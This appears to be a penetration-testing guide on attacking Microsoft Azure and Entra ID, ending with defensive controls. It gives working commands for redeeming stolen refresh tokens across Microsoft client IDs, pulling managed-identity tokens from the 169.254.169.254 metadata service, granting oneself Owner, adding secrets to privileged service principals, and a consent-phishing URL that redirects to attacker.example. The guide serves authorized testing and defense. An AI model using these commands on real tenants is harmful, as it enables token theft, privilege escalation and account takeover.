Azure & Entra ID Penetration Testing: Token Theft, Managed Identities, Role Abuse & Consent Phishing
Microsoft Entra ID (formerly Azure AD) is the identity plane for the entire Microsoft cloud — Azure resources, Microsoft 365, and thousands of federated SaaS apps all trust the same tenant. That makes it the single richest target on a cloud engagement: a stolen refresh token or an over-privileged managed identity can unravel an organization far faster than any on-prem Active Directory attack chain. The mechanics are also completely different from on-prem. There is no Kerberos, no NTLM, and no domain controller to compromise — everything is OAuth 2.0 tokens, role assignments, and API calls against graph.microsoft.com and management.azure.com.
This guide walks the modern Azure/Entra attack chain end to end: token theft and the FOCI family-refresh-token trick, managed identity abuse via the instance metadata service, Azure RBAC and Entra role escalation, illicit OAuth consent phishing, and the tooling (AzureHound, ROADtools, AADInternals) that ties it together. Everything below assumes an authorized assessment against a tenant you have written permission to test. Do not run any of this against infrastructure you do not own or have explicit scope for.
| Technique | Tooling | Privilege Required | Severity | MITRE ATT&CK |
|---|---|---|---|---|
| Refresh Token Theft (FOCI) | ROADtools / TokenTactics | One leaked token | Critical | T1528 |
| Managed Identity IMDS Abuse | curl / az | SSRF or code exec | Critical | T1552.005 |
| RBAC Role Escalation | az / Microburst | Owner / UAA write | High | T1098.003 |
| Illicit Consent Grant | 365-Stealer | Phishing a user | High | T1528 |
| Attack Path Mapping | AzureHound / BloodHound | Any read token | Medium | T1069 |
| Cloud-to-On-Prem (Connect) | AADInternals | Sync server access | Critical | T1078.004 |
How Entra ID Authentication Actually Works
Before attacking, internalise the token model — it is the entire game. Entra issues three token types after an interactive sign-in: an ID token (proves who you are), an access token (a short-lived, audience-scoped JWT, typically valid ~60-90 minutes), and a refresh token (a long-lived opaque blob used to silently mint new access tokens, often valid for 90 days with rolling renewal). Access tokens are the noisy, expiring part. Refresh tokens are the prize.
Every token is bound to a client ID (the application requesting it) and an audience (the resource it is good for, e.g. https://graph.microsoft.com). Decode any access token you capture and read the aud, scp/roles, appid, and oid claims to know exactly what it can do. You can paste a captured JWT into the JWT Decoder to inspect those claims and confirm scope before you spend it. The key offensive insight: a refresh token issued to one Microsoft first-party client can frequently be redeemed for access tokens against other clients — that is the FOCI behaviour exploited below.
Token Theft and FOCI Pivoting
Tokens leak constantly — from browser memory, .token_cache files, the TokenBroker/WAM cache on Windows, CI/CD secrets, and infostealer logs. A single refresh token, even one scoped to a low-privilege client like Microsoft Teams or Outlook, is enough to get started. The Family of Client IDs (FOCI) design lets a handful of first-party Microsoft apps share refresh tokens. Redeem a Teams refresh token for the Azure CLI client ID and you suddenly hold ARM-scoped access against management.azure.com.
# Authenticate with a stolen refresh token using ROADtools
roadtx gettokens --refresh-token <RT> \
-c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 \ # Teams client
-r https://graph.microsoft.com
# FOCI pivot: redeem the SAME refresh token for the Azure CLI client
roadtx gettokens --refresh-token <RT> \
-c 04b07795-8ddb-461a-bbee-02f9e1bf7b46 \ # Azure CLI client
-r https://management.core.windows.net
# Now enumerate every subscription that token can see
az login --service-principal --allow-no-subscriptions \
--use-device-code # or feed the token directly
Once you hold an ARM token, dump the resource estate immediately — subscriptions, role assignments, key vaults, storage accounts, and automation accounts are all common loot. Watch token lifetimes: refresh frequently and avoid hammering the same endpoint, since impossible-travel and anomalous-client risk detections fire on unusual token usage.
Managed Identity Abuse via IMDS
Azure VMs, Function Apps, App Services, AKS pods, and Automation runbooks can carry a managed identity — a service principal whose credentials are never stored in your code. Instead, the workload asks the local Instance Metadata Service (IMDS) at 169.254.169.254 for a token. That convenience is also the attack: any code execution or SSRF on a workload with a managed identity can request its token and inherit its Azure RBAC permissions.
# From inside a compromised VM — request an ARM-scoped token
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
| jq -r .access_token
# Request a Key Vault token instead (steal secrets)
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" \
| jq -r .access_token
# Use the ARM token to list role assignments for the identity
TOKEN=$(curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | jq -r .access_token)
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions?api-version=2020-01-01"
SSRF is the remote variant: if a web app fetches a user-supplied URL, point it at the IMDS endpoint. The Metadata: true header requirement defeats naive SSRF, but header-injection or request-smuggling bugs can supply it. The payoff is enormous — managed identities are routinely assigned Contributor at the subscription scope "just to make deployment work", which means full control of every resource under that subscription.
Azure RBAC and Entra Role Escalation
There are two distinct permission systems to abuse, and conflating them is a common rookie error. Azure RBAC governs resources (VMs, storage, key vaults) and is assigned at management-group, subscription, resource-group, or resource scope. Entra roles govern the directory itself (users, groups, app registrations, Conditional Access). A subscription Owner is godlike over resources but may be nobody in the directory; a Global Administrator owns the directory and can grant itself control of all subscriptions via the elevate-access toggle.
The most reliable RBAC escalation is the Owner / User Access Administrator primitive: anyone holding Microsoft.Authorization/roleAssignments/write can assign themselves any role, including Owner, at a scope they control.
# Enumerate what you can already do
az role assignment list --assignee <your-oid> --all -o table
# If you hold Owner/UAA at RG scope, grant yourself Owner at subscription scope
az role assignment create --assignee <your-oid> \
--role "Owner" \
--scope "/subscriptions/<sub-id>"
# Run command ON a VM you have access to (extract local secrets / managed identity)
az vm run-command invoke -g <rg> -n <vm> \
--command-id RunShellScript \
--scripts "curl -s -H 'Metadata:true' http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
On the Entra side, watch for dangerous role/application primitives: Application Administrator and Cloud Application Administrator can add credentials to any service principal — including high-privilege ones — and then authenticate as that SP. Privileged Authentication Administrator can reset a Global Admin's MFA and password. These app-credential-addition paths are exactly the GenericAll-style edges AzureHound surfaces.
# Add a client secret to an existing privileged service principal (Graph)
az ad app credential reset --id <app-id> --append
# -> then sign in as that SP and inherit its directory roles
Illicit Consent Grant Phishing
OAuth consent phishing sidesteps passwords and MFA entirely. Instead of stealing credentials, you register a malicious multi-tenant app and trick a user into consenting to delegated Graph scopes like Mail.Read, Files.ReadWrite.All, or offline_access. The victim authenticates legitimately against Microsoft — MFA included — and the consent screen hands your app a refresh token good for those scopes. Because the token belongs to your app, revoking the user's session does not kill your access.
# The lure is a normal-looking Microsoft authorize URL
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
client_id=<ATTACKER_APP_ID>
&response_type=code
&redirect_uri=https:https://attacker.example/callback
&scope=offline_access%20Mail.Read%20Files.Read.All%20User.Read
&prompt=consent
Pick scopes that look plausible for the app's pretext (a fake "PDF viewer" or "Mailbox analytics" tool). If a single admin clicks "Consent on behalf of your organization", you receive tenant-wide delegated access. Build and validate the authorization request, redirect handling, and scope set with the OAuth / OIDC Attack Wizard before deploying the lure so you do not burn the engagement on a malformed redirect. Demonstrating consent phishing in a report is one of the most impactful findings you can deliver, because it survives password resets and MFA.
Mapping the Tenant with AzureHound
Manual enumeration does not scale across a real tenant. AzureHound collects Entra and Azure RBAC data into the same BloodHound graph model you already know, exposing edges like AZOwns, AZUserAccessAdministrator, AZAddSecret, and AZGlobalAdmin. Run the built-in queries to find the shortest path from a compromised principal to Global Admin or subscription Owner.
# Collect with a refresh token (no agent on any host)
azurehound -r <refresh-token> list --tenant <tenant-id> -o output.json
# Or with username/password if MFA permits
azurehound -u [email protected] -p 'Password123' list --tenant corp.com -o output.json
# Ingest output.json into BloodHound, then run:
# "Shortest paths to Global Admins"
# "Find principals with the AddSecret edge"
Complement AzureHound with ROADtools (roadrecon) for offline directory dumps and gorgeous local browsing of users, apps, and Conditional Access policies, and AADInternals when the engagement reaches the cloud-to-on-prem boundary — the Entra Connect sync account (MSOL_*) holds DCSync rights against on-prem AD, turning a cloud foothold into domain dominance.
Defenses and Remediation
Each technique above maps to a concrete control. Prioritise these when writing recommendations:
- Conditional Access with token protection. Enforce phishing-resistant MFA, block legacy authentication, and enable Conditional Access token binding / continuous access evaluation so a stolen refresh token cannot be replayed from a new device or location.
- Lock down IMDS. Where possible, restrict workload egress to
169.254.169.254and assign managed identities the least RBAC role they need — never blanket Contributor. Treat any SSRF on an Azure workload as critical because of the metadata pivot. - Tame consent. Disable user consent for unverified publishers and route all third-party app permissions through an admin consent workflow. Audit existing grants with
Get-MgServicePrincipal/AzureHound and revoke anything anomalous. - Constrain privileged roles. Put Global Admin, Application Administrator, and User Access Administrator behind Privileged Identity Management (PIM) with just-in-time, time-boxed, approval-gated activation. Alert on any new app credential (
Add service principal credentials) in the audit log. - Monitor the right signals. Ship Entra sign-in and audit logs to a SIEM and alert on impossible-travel, new FOCI client usage, role-assignment writes, and consent grants. Identity Protection risk events are your early-warning system.
For a quick command reference covering token redemption, IMDS endpoints, AzureHound flags, and Graph enumeration in one place, keep the Azure & Entra ID Attacks cheat sheet open alongside your engagement. The defensive view is the same map read backwards: every edge an attacker walks is a control someone forgot to tighten.
Azure and Entra ID reward attackers who understand identity over those who understand exploits. There is no buffer overflow here — just tokens, scopes, and role assignments that are slightly too generous. Test thoroughly, document the full path from initial token to tenant compromise, and always operate strictly within your authorised scope.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides